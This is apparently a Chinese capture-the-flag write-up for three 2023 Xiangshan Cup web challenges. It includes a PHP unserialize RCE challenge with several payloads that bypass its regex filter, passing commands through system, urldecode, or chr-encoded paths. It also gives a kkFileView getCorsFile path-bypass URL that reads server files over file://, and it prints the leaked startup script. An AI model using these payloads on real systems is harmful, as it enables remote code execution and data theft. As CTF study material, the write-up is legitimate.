2023-香山杯-Web

PHP_unserialize_pro

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
                die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['data']))
        unserialize($_GET['data']);
    else
        highlight_file(__FILE__);
?>

这里的关键点就是在绕过这个正则匹配然后进行RCE

    public $shell;
    public $cmd;
    public function __invoke(){
        $shell = $this->shell;
        $cmd = $this->cmd;
        if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

这里的话其实搜索一下就能找到原题

这里用的是这个方法

$this->shell = 'system';

$this->cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';

//php -r 是可以执行多行php代码

其实还有很多种方法可以进行绕过

[]这个的正则匹配
$this->shell = 'system';
$this->cmd = 'more /[b-z][0-9][@-z][b-z]';

//当时tmd命令记错了 用了moore来做  然后没成功 就换了另一个来绕过

$this->shell = 'urldecode';
$this->cmd = 'system(\$_POST[1]);';

//这里的话使用如果是$_POST[1]和system拆开来传参的话是不行的 

//并且这个urldecode这个函数可以使用其他函数来进行替代

1 2	$this->shell = 'strtolower'; $this->cmd = 'show_source(chr(47).chr(102).chr(49).chr(97).chr(103));';

还有一种的话是用这种方法来执行
$this->shell = 'system';
$this->cmd='echo "\156\154\040\057\052"|sh';

meow_blog

考察的是原型链的污染

(先留着看不太懂)

正常污染——WP1

SSTI—-WP

sharedBox

这个题还是可以探讨一下的

这个里没有环境就讲思路就行了

WP1 WP2

这里刚开始我是想去信息收集一下然后发现了是kkfileview 这个东西然后就去找到了一篇文章

https://forum.butian.net/share/2088 qax的一篇文章但是由于作者对源码进行了修改导致这里的漏洞打不通只能是慢慢的进行摸索

1
2
3

http://59.110.231.185:40953/fileview/;/getCorsFile?urlPath=file:///root

##刚开始我这里试的时候是403  就没多想  结果赛后发现  是可以绕过的  ..........

那么我们就可以开始读取文件了 (file协议是可以看目录下有啥的)

然后呢我们就读取到了start.sh

#!/bin/bash

FLAG_PATH=/tmp/config.properties
FLAG_MODE=M_SED
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755 # ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½flagï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½rootï¿½ï¿½ï¿½ï¿½ï¿½ï¿½
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            # sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            # mysql -uroot -proot < ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK   
    unset ICQ_FLAG 
else
    echo [!] no ICQ_FLAG
fi

unset ICQ_FLAG
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo
rm -rf /start.sh

/usr/sbin/nginx

/usr/sbin/crond

/usr/sbin/rsyslogd

javac /root/flag.java
nohup java -classpath /root/sqlite-jdbc-3.41.2.2.jar:/root/ flag >/dev/null &

nohup java -jar /root/upload.jar >/dev/null &
sleep 1;

rm /tmp/config.properties

java -Dfile.encoding=UTF-8 -Dsun.java2d.cmm=sun.java2d.cmm.kcms.KcmsServiceProvider -Dspring.config.location=/opt/kkFileView-2.2.1/config/application.properties -jar /opt/kkFileView-2.2.1/bin/kkFileView-2.2.1.jar &
exec tail -f /dev/null